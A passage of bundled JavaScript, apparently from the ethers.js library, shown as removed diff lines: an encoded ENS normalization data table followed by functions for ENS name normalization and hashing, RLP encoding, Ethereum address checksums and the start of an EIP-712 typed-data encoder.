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")); - } - var r = getData(); - var VALID = new Set(read_member_array(r)); - var IGNORED = new Set(read_member_array(r)); - var MAPPED = read_mapped_map(r); - var EMOJI_ROOT = read_emoji_trie(r); - var HYPHEN = 45; - var UNDERSCORE = 95; - function explode_cp(name) { - return toUtf8CodePoints(name); - } - function filter_fe0f(cps) { - return cps.filter((cp) => cp != 65039); - } - function ens_normalize_post_check(name) { - for (let label of name.split(".")) { - let cps = explode_cp(label); - try { - for (let i = cps.lastIndexOf(UNDERSCORE) - 1; i >= 0; i--) { - if (cps[i] !== UNDERSCORE) { - throw new Error(`underscore only allowed at start`); - } - } - if (cps.length >= 4 && cps.every((cp) => cp < 128) && cps[2] === HYPHEN && cps[3] === HYPHEN) { - throw new Error(`invalid label extension`); - } - } catch (err) { - throw new Error(`Invalid label "${label}": ${err.message}`); - } - } - return name; - } - function ens_normalize(name) { - return ens_normalize_post_check(normalize(name, filter_fe0f)); - } - function normalize(name, emoji_filter) { - let input = explode_cp(name).reverse(); - let output = []; - while (input.length) { - let emoji = consume_emoji_reversed(input); - if (emoji) { - output.push(...emoji_filter(emoji)); - continue; - } - let cp = input.pop(); - if (VALID.has(cp)) { - output.push(cp); - continue; - } - if (IGNORED.has(cp)) { - continue; - } - let cps = MAPPED[cp]; - if (cps) { - output.push(...cps); - continue; - } - throw new Error(`Disallowed codepoint: 0x${cp.toString(16).toUpperCase()}`); - } - return ens_normalize_post_check(nfc(String.fromCodePoint(...output))); - } - function nfc(s) { - return s.normalize("NFC"); - } - function consume_emoji_reversed(cps, eaten) { - var _a; - let node = EMOJI_ROOT; - let emoji; - let saved; - let stack = []; - let pos = cps.length; - if (eaten) - eaten.length = 0; - while (pos) { - let cp = cps[--pos]; - node = (_a = node.branches.find((x) => x.set.has(cp))) === null || _a === void 0 ? void 0 : _a.node; - if (!node) - break; - if (node.save) { - saved = cp; - } else if (node.check) { - if (cp === saved) - break; - } - stack.push(cp); - if (node.fe0f) { - stack.push(65039); - if (pos > 0 && cps[pos - 1] == 65039) - pos--; - } - if (node.valid) { - emoji = stack.slice(); - if (node.valid == 2) - emoji.splice(1, 1); - if (eaten) - eaten.push(...cps.slice(pos).reverse()); - cps.length = pos; - } - } - return emoji; - } - var logger7 = new Logger(version8); - var Zeros = new Uint8Array(32); - Zeros.fill(0); - function checkComponent(comp) { - if (comp.length === 0) { - throw new Error("invalid ENS name; empty component"); - } - return comp; - } - function ensNameSplit(name) { - const bytes = toUtf8Bytes(ens_normalize(name)); - const comps = []; - if (name.length === 0) { - return comps; - } - let last = 0; - for (let i = 0; i < bytes.length; i++) { - const d = bytes[i]; - if (d === 46) { - comps.push(checkComponent(bytes.slice(last, i))); - last = i + 1; - } - } - if (last >= bytes.length) { - throw new Error("invalid ENS name; empty component"); - } - comps.push(checkComponent(bytes.slice(last))); - return comps; - } - function namehash(name) { - if (typeof name !== "string") { - logger7.throwArgumentError("invalid ENS name; not a string", "name", name); - } - let result = Zeros; - const comps = ensNameSplit(name); - while (comps.length) { - result = keccak256(concat([result, keccak256(comps.pop())])); - } - return hexlify(result); - } - function dnsEncode(name) { - return hexlify(concat(ensNameSplit(name).map((comp) => { - if (comp.length > 63) { - throw new Error("invalid DNS encoded entry; length exceeds 63 bytes"); - } - const bytes = new Uint8Array(comp.length + 1); - bytes.set(comp, 1); - bytes[0] = bytes.length - 1; - return bytes; - }))) + "00"; - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version9 = "rlp/5.7.0"; - var logger8 = new Logger(version9); - function arrayifyInteger(value) { - const result = []; - while (value) { - result.unshift(value & 255); - value >>= 8; - } - return result; - } - function unarrayifyInteger(data, offset, length) { - let result = 0; - for (let i = 0; i < length; i++) { - result = result * 256 + data[offset + i]; - } - return result; - } - function _encode(object) { - if (Array.isArray(object)) { - let payload = []; - object.forEach(function(child) { - payload = payload.concat(_encode(child)); - }); - if (payload.length <= 55) { - payload.unshift(192 + payload.length); - return payload; - } - const length2 = arrayifyInteger(payload.length); - length2.unshift(247 + length2.length); - return length2.concat(payload); - } - if (!isBytesLike(object)) { - logger8.throwArgumentError("RLP object must be BytesLike", "object", object); - } - const data = Array.prototype.slice.call(arrayify(object)); - if (data.length === 1 && data[0] <= 127) { - return data; - } else if (data.length <= 55) { - data.unshift(128 + data.length); - return data; - } - const length = arrayifyInteger(data.length); - length.unshift(183 + length.length); - return length.concat(data); - } - function encode2(object) { - return hexlify(_encode(object)); - } - function _decodeChildren(data, offset, childOffset, length) { - const result = []; - while (childOffset < offset + 1 + length) { - const decoded = _decode(data, childOffset); - result.push(decoded.result); - childOffset += decoded.consumed; - if (childOffset > offset + 1 + length) { - logger8.throwError("child data too short", Logger.errors.BUFFER_OVERRUN, {}); - } - } - return { consumed: 1 + length, result }; - } - function _decode(data, offset) { - if (data.length === 0) { - logger8.throwError("data too short", Logger.errors.BUFFER_OVERRUN, {}); - } - if (data[offset] >= 248) { - const lengthLength = data[offset] - 247; - if (offset + 1 + lengthLength > data.length) { - logger8.throwError("data short segment too short", Logger.errors.BUFFER_OVERRUN, {}); - } - const length = unarrayifyInteger(data, offset + 1, lengthLength); - if (offset + 1 + lengthLength + length > data.length) { - logger8.throwError("data long segment too short", Logger.errors.BUFFER_OVERRUN, {}); - } - return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length); - } else if (data[offset] >= 192) { - const length = data[offset] - 192; - if (offset + 1 + length > data.length) { - logger8.throwError("data array too short", Logger.errors.BUFFER_OVERRUN, {}); - } - return _decodeChildren(data, offset, offset + 1, length); - } else if (data[offset] >= 184) { - const lengthLength = data[offset] - 183; - if (offset + 1 + lengthLength > data.length) { - logger8.throwError("data array too short", Logger.errors.BUFFER_OVERRUN, {}); - } - const length = unarrayifyInteger(data, offset + 1, lengthLength); - if (offset + 1 + lengthLength + length > data.length) { - logger8.throwError("data array too short", Logger.errors.BUFFER_OVERRUN, {}); - } - const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); - return { consumed: 1 + lengthLength + length, result }; - } else if (data[offset] >= 128) { - const length = data[offset] - 128; - if (offset + 1 + length > data.length) { - logger8.throwError("data too short", Logger.errors.BUFFER_OVERRUN, {}); - } - const result = hexlify(data.slice(offset + 1, offset + 1 + length)); - return { consumed: 1 + length, result }; - } - return { consumed: 1, result: hexlify(data[offset]) }; - } - function decode2(data) { - const bytes = arrayify(data); - const decoded = _decode(bytes, 0); - if (decoded.consumed !== bytes.length) { - logger8.throwArgumentError("invalid rlp data", "data", data); - } - return decoded.result; - } - init_define_chainIDList(); - init_define_extraRpcs(); - var version10 = "address/5.7.0"; - var logger9 = new Logger(version10); - function getChecksumAddress(address) { - if (!isHexString(address, 20)) { - logger9.throwArgumentError("invalid address", "address", address); - } - address = address.toLowerCase(); - const chars = address.substring(2).split(""); - const expanded = new Uint8Array(40); - for (let i = 0; i < 40; i++) { - expanded[i] = chars[i].charCodeAt(0); - } - const hashed = arrayify(keccak256(expanded)); - for (let i = 0; i < 40; i += 2) { - if (hashed[i >> 1] >> 4 >= 8) { - chars[i] = chars[i].toUpperCase(); - } - if ((hashed[i >> 1] & 15) >= 8) { - chars[i + 1] = chars[i + 1].toUpperCase(); - } - } - return "0x" + chars.join(""); - } - var MAX_SAFE_INTEGER = 9007199254740991; - function log10(x) { - if (Math.log10) { - return Math.log10(x); - } - return Math.log(x) / Math.LN10; - } - var ibanLookup = {}; - for (let i = 0; i < 10; i++) { - ibanLookup[String(i)] = String(i); - } - for (let i = 0; i < 26; i++) { - ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); - } - var safeDigits = Math.floor(log10(MAX_SAFE_INTEGER)); - function ibanChecksum(address) { - address = address.toUpperCase(); - address = address.substring(4) + address.substring(0, 2) + "00"; - let expanded = address.split("").map((c) => { - return ibanLookup[c]; - }).join(""); - while (expanded.length >= safeDigits) { - let block = expanded.substring(0, safeDigits); - expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); - } - let checksum = String(98 - parseInt(expanded, 10) % 97); - while (checksum.length < 2) { - checksum = "0" + checksum; - } - return checksum; - } - function getAddress(address) { - let result = null; - if (typeof address !== "string") { - logger9.throwArgumentError("invalid address", "address", address); - } - if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { - if (address.substring(0, 2) !== "0x") { - address = "0x" + address; - } - result = getChecksumAddress(address); - if (address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && result !== address) { - logger9.throwArgumentError("bad address checksum", "address", address); - } - } else if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { - if (address.substring(2, 4) !== ibanChecksum(address)) { - logger9.throwArgumentError("bad icap checksum", "address", address); - } - result = _base36To16(address.substring(4)); - while (result.length < 40) { - result = "0" + result; - } - result = getChecksumAddress("0x" + result); - } else { - logger9.throwArgumentError("invalid address", "address", address); - } - return result; - } - function getContractAddress(transaction) { - let from = null; - try { - from = getAddress(transaction.from); - } catch (error) { - logger9.throwArgumentError("missing from address", "transaction", transaction); - } - const nonce = stripZeros(arrayify(BigNumber.from(transaction.nonce).toHexString())); - return getAddress(hexDataSlice(keccak256(encode2([from, nonce])), 12)); - } - var __awaiter3 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger10 = new Logger(version8); - var padding = new Uint8Array(32); - padding.fill(0); - var NegativeOne2 = BigNumber.from(-1); - var Zero2 = BigNumber.from(0); - var One2 = BigNumber.from(1); - var MaxUint2562 = BigNumber.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - function hexPadRight(value) { - const bytes = arrayify(value); - const padOffset = bytes.length % 32; - if (padOffset) { - return hexConcat([bytes, padding.slice(padOffset)]); - } - return hexlify(bytes); - } - var hexTrue = hexZeroPad(One2.toHexString(), 32); - var hexFalse = hexZeroPad(Zero2.toHexString(), 32); - var domainFieldTypes = { - name: "string", - version: "string", - chainId: "uint256", - verifyingContract: "address", - salt: "bytes32" - }; - var domainFieldNames = [ - "name", - "version", - "chainId", - "verifyingContract", - "salt" - ]; - function checkString(key22) { - return function(value) { - if (typeof value !== "string") { - logger10.throwArgumentError(`invalid domain value for ${JSON.stringify(key22)}`, `domain.${key22}`, value); - } - return value; - }; - } - var domainChecks = { - name: checkString("name"), - version: checkString("version"), - chainId: function(value) { - try { - return BigNumber.from(value).toString(); - } catch (error) { - } - return logger10.throwArgumentError(`invalid domain value for "chainId"`, "domain.chainId", value); - }, - verifyingContract: function(value) { - try { - return getAddress(value).toLowerCase(); - } catch (error) { - } - return logger10.throwArgumentError(`invalid domain value "verifyingContract"`, "domain.verifyingContract", value); - }, - salt: function(value) { - try { - const bytes = arrayify(value); - if (bytes.length !== 32) { - throw new Error("bad length"); - } - return hexlify(bytes); - } catch (error) { - } - return logger10.throwArgumentError(`invalid domain value "salt"`, "domain.salt", value); - } - }; - function getBaseEncoder(type) { - { - const match = type.match(/^(u?)int(\d*)$/); - if (match) { - const signed22 = match[1] === ""; - const width = parseInt(match[2] || "256"); - if (width % 8 !== 0 || width > 256 || match[2] && match[2] !== String(width)) { - logger10.throwArgumentError("invalid numeric width", "type", type); - } - const boundsUpper = MaxUint2562.mask(signed22 ? width - 1 : width); - const boundsLower = signed22 ? boundsUpper.add(One2).mul(NegativeOne2) : Zero2; - return function(value) { - const v = BigNumber.from(value); - if (v.lt(boundsLower) || v.gt(boundsUpper)) { - logger10.throwArgumentError(`value out-of-bounds for ${type}`, "value", value); - } - return hexZeroPad(v.toTwos(256).toHexString(), 32); - }; - } - } - { - const match = type.match(/^bytes(\d+)$/); - if (match) { - const width = parseInt(match[1]); - if (width === 0 || width > 32 || match[1] !== String(width)) { - logger10.throwArgumentError("invalid bytes width", "type", type); - } - return function(value) { - const bytes = arrayify(value); - if (bytes.length !== width) { - logger10.throwArgumentError(`invalid length for ${type}`, "value", value); - } - return hexPadRight(value); - }; - } - } - switch (type) { - case "address": - return function(value) { - return hexZeroPad(getAddress(value), 32); - }; - case "bool": - return function(value) { - return !value ? hexFalse : hexTrue; - }; - case "bytes": - return function(value) { - return keccak256(value); - }; - case "string": - return function(value) { - return id(value); - }; - } - return null; - } - function encodeType(name, fields) { - return `${name}(${fields.map(({ name: name2, type }) => type + " " + name2).join(",")})`; - } - var TypedDataEncoder = class _TypedDataEncoder { - constructor(types) { - defineReadOnly(this, "types", Object.freeze(deepCopy(types))); - defineReadOnly(this, "_encoderCache", {}); - defineReadOnly(this, "_types", {}); - const links = {}; - const parents = {}; - const subtypes = {}; - Object.keys(types).forEach((type) => { - links[type] = {}; - parents[type] = []; - subtypes[type] = {}; - }); - for (const name in types) { - const uniqueNames = {}; - types[name].forEach((field) => { - if (uniqueNames[field.name]) { - logger10.throwArgumentError(`duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, "types", types); - } - uniqueNames[field.name] = true; - const baseType = field.type.match(/^([^\x5b]*)(\x5b|$)/)[1]; - if (baseType === name) { - logger10.throwArgumentError(`circular type reference to ${JSON.stringify(baseType)}`, "types", types); - } - const encoder = getBaseEncoder(baseType); - if (encoder) { - return; - } - if (!parents[baseType]) { - logger10.throwArgumentError(`unknown type ${JSON.stringify(baseType)}`, "types", types); - } - parents[baseType].push(name); - links[name][baseType] = true; - }); - } - const primaryTypes = Object.keys(parents).filter((n) => parents[n].length === 0); - if (primaryTypes.length === 0) { - logger10.throwArgumentError("missing primary type", "types", types); - } else if (primaryTypes.length > 1) { - logger10.throwArgumentError(`ambiguous primary types or unused types: ${primaryTypes.map((t) => JSON.stringify(t)).join(", ")}`, "types", types); - } - defineReadOnly(this, "primaryType", primaryTypes[0]); - function checkCircular(type, found) { - if (found[type]) { - logger10.throwArgumentError(`circular type reference to ${JSON.stringify(type)}`, "types", types); - } - found[type] = true; - Object.keys(links[type]).forEach((child) => { - if (!parents[child]) { - return; - } - checkCircular(child, found); - Object.keys(found).forEach((subtype) => { - subtypes[subtype][child] = true; - }); - }); - delete found[type]; - } - checkCircular(this.primaryType, {}); - for (const name in subtypes) { - const st = Object.keys(subtypes[name]); - st.sort(); - this._types[name] = encodeType(name, types[name]) + 